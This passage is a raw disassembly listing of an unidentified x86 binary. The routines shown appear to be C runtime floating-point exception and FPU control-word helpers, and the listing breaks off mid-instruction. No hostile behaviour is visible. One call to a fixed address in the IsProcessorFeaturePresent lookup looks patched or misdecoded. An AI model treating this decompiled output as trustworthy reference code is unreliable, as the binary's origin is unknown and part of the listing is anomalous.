ebp retn sub_41768E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4176E1(int, int, double, double, int) sub_4176E1 proc near ; CODE XREF: sub_413F02:loc_413FC5p ; sub_41404B:loc_41410Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_417A2C add esp, 0Ch test eax, eax jnz short loc_41771F lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_417779 add esp, 18h loc_41771F: ; CODE XREF: sub_4176E1+1Aj push [ebp+arg_0] call sub_417D16 cmp ds:dword_42DA68, 0 pop ecx jnz short loc_41775D test eax, eax jz short loc_41775D push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_417C43 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41775D: ; CODE XREF: sub_4176E1+4Ej ; sub_4176E1+52j push eax call sub_417CCB mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_417EB6 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4176E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417779 proc near ; CODE XREF: sub_4176E1+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4177AB mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4177AB: ; CODE XREF: sub_417779+23j test cl, 2 jz short loc_4177BE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4177BE: ; CODE XREF: sub_417779+35j test cl, bl jz short loc_4177D0 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4177D0: ; CODE XREF: sub_417779+47j test cl, 4 jz short loc_4177E3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4177E3: ; CODE XREF: sub_417779+5Aj test cl, 8 jz short loc_4177F6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4177F6: ; CODE XREF: sub_417779+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_417E99 test al, bl jz short loc_41787F mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41787F: ; CODE XREF: sub_417779+FDj test al, 4 jz short loc_41788A mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41788A: ; CODE XREF: sub_417779+108j test al, 8 jz short loc_417895 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_417895: ; CODE XREF: sub_417779+113j test al, 10h jz short loc_41789F mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41789F: ; CODE XREF: sub_417779+11Ej test al, 20h jz short loc_4178A9 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4178A9: ; CODE XREF: sub_417779+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_4178E8 cmp eax, 400h jz short loc_4178DA cmp eax, 800h jz short loc_4178CE cmp eax, ecx jnz short loc_4178EE mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_4178EE ; --------------------------------------------------------------------------- loc_4178CE: ; CODE XREF: sub_417779+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_4178E4 ; --------------------------------------------------------------------------- loc_4178DA: ; CODE XREF: sub_417779+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_4178E4: ; CODE XREF: sub_417779+15Fj mov [eax], ecx jmp short loc_4178EE ; --------------------------------------------------------------------------- loc_4178E8: ; CODE XREF: sub_417779+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_4178EE: ; CODE XREF: sub_417779+14Bj ; sub_417779+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_417919 cmp eax, 200h jz short loc_41790C cmp eax, ecx jnz short loc_417926 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_417926 ; --------------------------------------------------------------------------- loc_41790C: ; CODE XREF: sub_417779+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_417924 ; --------------------------------------------------------------------------- loc_417919: ; CODE XREF: sub_417779+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_417924: ; CODE XREF: sub_417779+19Ej mov [eax], ecx loc_417926: ; CODE XREF: sub_417779+189j ; sub_417779+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_417EA7 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_41F178 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4179A0 and dword ptr [esi], 0FFFFFFFEh loc_4179A0: ; CODE XREF: sub_417779+222j test byte ptr [eax+8], 8 jz short loc_4179A9 and dword ptr [esi], 0FFFFFFFBh loc_4179A9: ; CODE XREF: sub_417779+22Bj test byte ptr [eax+8], 4 jz short loc_4179B2 and dword ptr [esi], 0FFFFFFF7h loc_4179B2: ; CODE XREF: sub_417779+234j test byte ptr [eax+8], 2 jz short loc_4179BB and dword ptr [esi], 0FFFFFFEFh loc_4179BB: ; CODE XREF: sub_417779+23Dj test [eax+8], bl jz short loc_4179C3 and dword ptr [esi], 0FFFFFFDFh loc_4179C3: ; CODE XREF: sub_417779+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_4179F7 dec ecx jz short loc_4179EB dec ecx jz short loc_4179E1 dec ecx jnz short loc_4179F9 or byte ptr [esi+1], 0Ch jmp short loc_4179F9 ; --------------------------------------------------------------------------- loc_4179E1: ; CODE XREF: sub_417779+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_4179F3 ; --------------------------------------------------------------------------- loc_4179EB: ; CODE XREF: sub_417779+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_4179F3: ; CODE XREF: sub_417779+270j mov [esi], ecx jmp short loc_4179F9 ; --------------------------------------------------------------------------- loc_4179F7: ; CODE XREF: sub_417779+257j and [esi], edx loc_4179F9: ; CODE XREF: sub_417779+260j ; sub_417779+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_417A19 dec ecx jz short loc_417A10 dec ecx jnz short loc_417A22 and [esi], edx jmp short loc_417A22 ; --------------------------------------------------------------------------- loc_417A10: ; CODE XREF: sub_417779+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_417A20 ; --------------------------------------------------------------------------- loc_417A19: ; CODE XREF: sub_417779+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_417A20: ; CODE XREF: sub_417779+29Ej mov [esi], ecx loc_417A22: ; CODE XREF: sub_417779+291j ; sub_417779+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_417779 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A2C proc near ; CODE XREF: sub_4176E1+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_417A57 test byte ptr [ebp+arg_8], bl jz short loc_417A57 push ebx call sub_417ED9 pop ecx and edi, 0FFFFFFF7h jmp loc_417C21 ; --------------------------------------------------------------------------- loc_417A57: ; CODE XREF: sub_417A2C+15j ; sub_417A2C+1Aj test al, 4 jz short loc_417A71 test byte ptr [ebp+arg_8], 4 jz short loc_417A71 push 4 call sub_417ED9 pop ecx and edi, 0FFFFFFFBh jmp loc_417C21 ; --------------------------------------------------------------------------- loc_417A71: ; CODE XREF: sub_417A2C+2Dj ; sub_417A2C+33j test al, bl jz loc_417B4B test byte ptr [ebp+arg_8], 8 jz loc_417B4B push 8 call sub_417ED9 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_417B23 cmp ecx, 400h jz short loc_417AFB cmp ecx, 800h jz short loc_417AD3 cmp ecx, eax jnz loc_417B43 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fld ds:dbl_42D3F8 fnstsw ax sahf ja short loc_417ACB fchs loc_417ACB: ; CODE XREF: sub_417A2C+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_417B41 ; --------------------------------------------------------------------------- loc_417AD3: ; CODE XREF: sub_417A2C+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fnstsw ax sahf jbe short loc_417AEB fld ds:dbl_42D3E8 jmp short loc_417AF3 ; --------------------------------------------------------------------------- loc_417AEB: ; CODE XREF: sub_417A2C+B5j fld ds:dbl_42D3F8 fchs loc_417AF3: ; CODE XREF: sub_417A2C+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_417B41 ; --------------------------------------------------------------------------- loc_417AFB: ; CODE XREF: sub_417A2C+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fnstsw ax sahf jbe short loc_417B13 fld ds:dbl_42D3F8 jmp short loc_417B1B ; --------------------------------------------------------------------------- loc_417B13: ; CODE XREF: sub_417A2C+DDj fld ds:dbl_42D3E8 fchs loc_417B1B: ; CODE XREF: sub_417A2C+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_417B41 ; --------------------------------------------------------------------------- loc_417B23: ; CODE XREF: sub_417A2C+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_41F7A8 fld ds:dbl_42D3E8 fnstsw ax sahf ja short loc_417B3B fchs loc_417B3B: ; CODE XREF: sub_417A2C+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_417B41: ; CODE XREF: sub_417A2C+A5j ; sub_417A2C+CDj ... fstp qword ptr [ecx] loc_417B43: ; CODE XREF: sub_417A2C+81j and edi, 0FFFFFFFEh jmp loc_417C21 ; --------------------------------------------------------------------------- loc_417B4B: ; CODE XREF: sub_417A2C+47j ; sub_417A2C+51j test al, 2 jz loc_417C21 test byte ptr [ebp+arg_8], 10h jz loc_417C21 push esi xor esi, esi test al, 10h jz short loc_417B66 mov esi, ebx loc_417B66: ; CODE XREF: sub_417A2C+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp ds:dbl_41F7A8 fnstsw ax sahf jz loc_417C0F fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_417DD8 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_417BB1 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_417C05 ; --------------------------------------------------------------------------- loc_417BB1: ; CODE XREF: sub_417A2C+17Aj fld [ebp+var_C] fcomp ds:dbl_41F7A8 fnstsw ax sahf jnb short loc_417BC3 mov edx, ebx jmp short loc_417BC5 ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417A2C+191j xor edx, edx loc_417BC5: ; CODE XREF: sub_417A2C+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_417BF9 sub eax, ecx loc_417BDC: ; CODE XREF: sub_417A2C+1CBj test byte ptr [ebp+var_C], bl jz short loc_417BE7 test esi, esi jnz short loc_417BE7 mov esi, ebx loc_417BE7: ; CODE XREF: sub_417A2C+1B3j ; sub_417A2C+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_417BF3 or byte ptr [ebp+var_C+3], 80h loc_417BF3: ; CODE XREF: sub_417A2C+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_417BDC loc_417BF9: ; CODE XREF: sub_417A2C+1ACj test edx, edx jz short loc_417C05 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_417C05: ; CODE XREF: sub_417A2C+183j ; sub_417A2C+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_417C11 ; --------------------------------------------------------------------------- loc_417C0F: ; CODE XREF: sub_417A2C+14Ej mov esi, ebx loc_417C11: ; CODE XREF: sub_417A2C+1E1j test esi, esi pop esi jz short loc_417C1E push 10h call sub_417ED9 pop ecx loc_417C1E: ; CODE XREF: sub_417A2C+1E8j and edi, 0FFFFFFFDh loc_417C21: ; CODE XREF: sub_417A2C+26j ; sub_417A2C+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_417C38 test byte ptr [ebp+arg_8], 20h jz short loc_417C38 push 20h call sub_417ED9 pop ecx and edi, 0FFFFFFEFh loc_417C38: ; CODE XREF: sub_417A2C+1F9j ; sub_417A2C+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_417A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417C43(int, int, int, int, int, int, double, int) sub_417C43 proc near ; CODE XREF: sub_41768E+2Bp ; sub_4176E1+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_417CF1 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_417CAE mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_417EB6 lea eax, [ebp+var_20] push eax call sub_41B8A3 add esp, 0Ch test eax, eax jnz short loc_417CA8 push esi call sub_417CCB pop ecx loc_417CA8: ; CODE XREF: sub_417C43+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_417CAE: ; CODE XREF: sub_417C43+14j push 0FFFFh push [ebp+arg_20] call sub_417EB6 push [ebp+arg_0] call sub_417CCB fld [ebp+arg_18] add esp, 0Ch leave retn sub_417C43 endp ; =============== S U B R O U T I N E ======================================= sub_417CCB proc near ; CODE XREF: sub_4176E1+7Dp ; sub_417C43+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_417CE6 jle short locret_417CF0 cmp eax, 3 jg short locret_417CF0 mov ds:dword_45E804, 22h retn ; --------------------------------------------------------------------------- loc_417CE6: ; CODE XREF: sub_417CCB+7j mov ds:dword_45E804, 21h locret_417CF0: ; CODE XREF: sub_417CCB+9j ; sub_417CCB+Ej retn sub_417CCB endp ; =============== S U B R O U T I N E ======================================= sub_417CF1 proc near ; CODE XREF: sub_417C43+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_42D310 loc_417CF8: ; CODE XREF: sub_417CF1+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_417D0E add eax, 8 inc ecx cmp eax, offset dbl_42D3E8 jl short loc_417CF8 xor eax, eax retn ; --------------------------------------------------------------------------- loc_417D0E: ; CODE XREF: sub_417CF1+Dj mov eax, ds:off_42D314[ecx*8] retn sub_417CF1 endp ; =============== S U B R O U T I N E ======================================= sub_417D16 proc near ; CODE XREF: sub_4176E1+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_417D22 push 5 jmp short loc_417D38 ; --------------------------------------------------------------------------- loc_417D22: ; CODE XREF: sub_417D16+6j test al, 8 jz short loc_417D2A push 1 jmp short loc_417D38 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417D16+Ej test al, 4 jz short loc_417D32 push 2 jmp short loc_417D38 ; --------------------------------------------------------------------------- loc_417D32: ; CODE XREF: sub_417D16+16j test al, 1 jz short loc_417D3A push 3 loc_417D38: ; CODE XREF: sub_417D16+Aj ; sub_417D16+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_417D3A: ; CODE XREF: sub_417D16+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_417D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417D43(double) sub_417D43 proc near ; CODE XREF: sub_413F02:loc_413F88p ; sub_41404B:loc_4140D1p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_417D43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417D55(double, int) sub_417D55 proc near ; CODE XREF: sub_417DD8+82p ; sub_417DD8+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_417D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D7E proc near ; CODE XREF: sub_413F02+31p ; sub_41404B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_417D95 cmp [ebp+arg_0], edx jnz short loc_417DA7 push 1 jmp short loc_417DD1 ; --------------------------------------------------------------------------- loc_417D95: ; CODE XREF: sub_417D7E+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_417DA7 cmp [ebp+arg_0], edx jnz short loc_417DA7 push 2 jmp short loc_417DD1 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417D7E+11j ; sub_417D7E+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_417DBA push 3 jmp short loc_417DD1 ; --------------------------------------------------------------------------- loc_417DBA: ; CODE XREF: sub_417D7E+36j cmp cx, 7FF0h jnz short loc_417DD4 test [ebp+arg_4], 7FFFFh jnz short loc_417DCF cmp [ebp+arg_0], edx jz short loc_417DD4 loc_417DCF: ; CODE XREF: sub_417D7E+4Aj push 4 loc_417DD1: ; CODE XREF: sub_417D7E+15j ; sub_417D7E+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_417DD4: ; CODE XREF: sub_417D7E+41j ; sub_417D7E+4Fj xor eax, eax pop ebp retn sub_417D7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DD8(double, int) sub_417DD8 proc near ; CODE XREF: sub_417A2C+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp ds:dbl_41F7A8 push esi fnstsw ax sahf jnz short loc_417DF8 fldz xor esi, esi fstp [ebp+var_8] jmp loc_417E8E ; --------------------------------------------------------------------------- loc_417DF8: ; CODE XREF: sub_417DD8+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_417E67 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_417E10 cmp dword ptr [ebp+arg_0], ecx jz short loc_417E67 loc_417E10: ; CODE XREF: sub_417DD8+31j fld [ebp+arg_0] fcomp ds:dbl_41F7A8 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_417E28 push 1 pop eax jmp short loc_417E2A ; --------------------------------------------------------------------------- loc_417E28: ; CODE XREF: sub_417DD8+49j xor eax, eax loc_417E2A: ; CODE XREF: sub_417DD8+4Ej ; sub_417DD8+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_417E43 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_417E3D or dword ptr [ebp+arg_0+4], 1 loc_417E3D: ; CODE XREF: sub_417DD8+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_417E2A ; --------------------------------------------------------------------------- loc_417E43: ; CODE XREF: sub_417DD8+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_417E51 or byte ptr [ebp+arg_0+7], 80h loc_417E51: ; CODE XREF: sub_417DD8+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_417D55 fstp [ebp+var_8] add esp, 0Ch jmp short loc_417E8E ; --------------------------------------------------------------------------- loc_417E67: ; CODE XREF: sub_417DD8+28j ; sub_417DD8+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_417D55 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_417E8E: ; CODE XREF: sub_417DD8+1Bj ; sub_417DD8+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_417DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E99 proc near ; CODE XREF: sub_417779+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_417E99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EA7 proc near ; CODE XREF: sub_417779+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_417EA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EB6 proc near ; CODE XREF: sub_413F02+13p ; sub_413F02+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_417EB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ED9 proc near ; CODE XREF: sub_417A2C+1Dp ; sub_417A2C+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_417EF0 fld ds:tbyte_42D410 fistp [ebp+arg_0] wait loc_417EF0: ; CODE XREF: sub_417ED9+Bj test cl, 8 jz short loc_417F05 fstsw ax fld ds:tbyte_42D410 fstp [ebp+var_8] wait fstsw ax loc_417F05: ; CODE XREF: sub_417ED9+1Aj test cl, 10h jz short loc_417F14 fld ds:tbyte_42D41C fstp [ebp+var_8] wait loc_417F14: ; CODE XREF: sub_417ED9+2Fj test cl, 4 jz short loc_417F22 fldz fld1 fdivrp st(1), st fstp st wait loc_417F22: ; CODE XREF: sub_417ED9+3Ej test cl, 20h jz short locret_417F2D fldpi fstp [ebp+var_8] wait locret_417F2D: ; CODE XREF: sub_417ED9+4Cj leave retn sub_417ED9 endp ; =============== S U B R O U T I N E ======================================= sub_417F2F proc near ; CODE XREF: sub_413FD1+Fp push 30000h push 10000h call sub_41B8DB pop ecx pop ecx retn sub_417F2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F41 proc near ; CODE XREF: sub_417F7F:loc_417FA3j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_41F7B8 fstp [ebp+var_8] fld ds:dbl_41F7B0 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_41F668 fnstsw ax sahf jbe short loc_417F7B push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_417F7B: ; CODE XREF: sub_417F41+33j xor eax, eax leave retn sub_417F41 endp ; =============== S U B R O U T I N E ======================================= sub_417F7F proc near ; CODE XREF: sub_413FD1+5p push offset aKernel32 ; "KERNEL32" call near ptr 0A70000h and eax, 1574C085h push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_41F0B0 test eax, eax jz short loc_417FA3 push 0 call eax retn ; --------------------------------------------------------------------------- loc_417FA3: ; CODE XREF: sub_417F7F+1Dj jmp sub_417F41 sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_417FA8 proc near ; DATA XREF: sub_413FE9+1Eo arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_415223 cmp eax, 65h pop ecx jz short loc_417FE8 loc_417FBC: ; CODE XREF: sub_417FA8+3Ej inc esi cmp ds:dword_42D2FC, 1 jle short loc_417FD5 movsx eax, byte ptr [esi] push 4 push eax call sub_4165E6 pop ecx pop ecx jmp short loc_417FE4 ; --------------------------------------------------------------------------- loc_417FD5: ; CODE XREF: sub_417FA8+1Cj movsx eax, byte ptr [esi] mov ecx, ds:off_42D0F0 mov al, [ecx+eax*2] and eax, 4 loc_417FE4: ; CODE XREF: sub_417FA8+2Bj test eax, eax jnz short loc_417FBC loc_417FE8: ; CODE XREF: sub_417FA8+12j mov cl, ds:byte_42D300 mov al, [esi] mov [esi], cl inc esi loc_417FF3: ; CODE XREF: sub_417FA8+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_417FF3 pop esi retn sub_417FA8 endp ; --------------------------------------------------------------------------- loc_418002: ; DATA XREF: sub_413FE9+5o mov eax, [esp+4] mov dl, ds:byte_42D300 mov cl, [eax] test cl, cl jz short loc_41801E loc_418012: ; CODE XREF: seg000:0041801Cj cmp cl, dl jz short loc_41801E mov cl, [eax+1] inc eax test cl, cl jnz short loc_418012 loc_41801E: ; CODE XREF: seg000:00418010j ; seg000:00418014j mov cl, [eax] inc eax test cl, cl jz short locret_41804F loc_418025: ; CODE XREF: seg000:00418036j mov cl, [eax] test cl, cl jz short loc_418038 cmp cl, 65h jz short loc_418038 cmp cl, 45h jz short 